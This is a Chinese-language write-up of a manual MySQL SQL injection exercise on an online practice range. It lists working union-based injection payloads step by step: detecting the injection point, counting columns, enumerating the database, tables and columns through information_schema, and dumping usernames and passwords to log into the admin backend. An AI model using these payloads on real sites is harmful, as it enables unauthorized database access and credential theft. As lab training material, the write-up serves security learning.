手工注入——MySQL手工注入實戰和分析

今天進行了MySQL手工注入實戰,分享一下自己的實戰過程和總結,這裡環境使用的是墨者學院的在線靶場。話不多說,咱們直接開始。

第一步,判斷注入點

通過 ‘ 和構造 and 1=1 和 and 1=2 查看頁面是否報錯。這裡通過and 1=1 發現頁面正常。如下圖。

 

接下來,咱們再構造 and 1=2 發現頁面報錯,說明頁面存在注入點。如下圖。

 

第二步,判斷欄位數

通過 order by 語句,如果後面輸入的數字大於資料庫的欄位數,頁面就會報錯,通過這個,咱們先輸入 order by 4 發現頁面正常。如下圖。

 

接下來,咱們輸入 order by 5,發現頁面報錯,說明資料庫中存在四個欄位。如下圖

 

第三步,爆庫

通過上一步,咱們已經知道了有幾個欄位,接下來,咱們通過聯合查詢,將 database() 依次替換1,2,3,4 看看哪個位置會顯示在頁面中,通過測試發現,2,3,兩個位置有回顯。構造如下語句 union select 1,database(),user(),4 #     最後的#是注釋符。結果如下圖。注意:使用聯合查詢時,要使得前面不可查詢 所以我把1替換成了-1 也可以直接在後面添加 and 1=2 兩種方式都可以。

 

 

第四步,爆表

在上一步咱們已經爆出了資料庫名,接下來咱們爆表名,在MySQL 5 和之後的版本,裡面有一個information_schema表,這個表下面存放了資料庫裡面的所有表,接下來就可以查詢啦,這裡用到了group_concat()函數,咱們構造如下語句 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=庫名(庫名轉換成十六進位)結果如下圖。

 

第五步,爆欄位

上面咱們查詢出了表名,先用第一個表測試,接下來,爆欄位,構造如下語句 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(換成十六進位),結果如下圖

 

第六步,爆帳號,密碼。

通過上面,咱們發現,有 name password 欄位,一般帳號密碼存放在裡面。如果咱們通過一般查詢,會掉到坑裡面,如果咱們直接通過如下語句查詢 union select 1,name,password,4 from 表名。發現爆出了帳號密碼,然後高興的去登陸。發現尷尬了。去下圖。

 

。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。

 

接下來該怎麼辦呢,其實只要只要在上一個的語句後面加一個 limit 語句 就搞定了,還可以使用 group_concat() 函數 把上一句的 name 換成group_concat(name) 就可以啦 password 同理。這裡使用了limit 語句 它的原理是 limit 0,1 是從第一行開始查詢,查詢一行。 limit 0,2 是從第一行開始查,查詢兩行。limit 1,2 是從第二行開始查詢,查詢兩行。結果如下圖。

查詢出了第二個密碼。帳號同理。成功登陸後台。注入結束。

MySQL 手工注入總結

第一步,判斷注入點,通過 ‘ 或者 and 1=1 和and 1=2

第二步,判斷欄位數,通過 order by 語句。

第三步,爆庫,通過 union select 1,2,database(),4 #

第四步,爆表,通過 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=庫名(庫名換成十六進位)

第四步 爆欄位,通過 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name=表名(表名換成十六進位)

第五步 爆帳號,密碼,這裡可以使用 limit 語句,也可以使用 group_concat()函數。上面演示了limit語句,如果用函數。通過語句 union select 1,group_concat(name),group_concat(password),4 from 表名。就可以直接得到兩個帳號和密碼。
第六步 解密密碼,登陸。​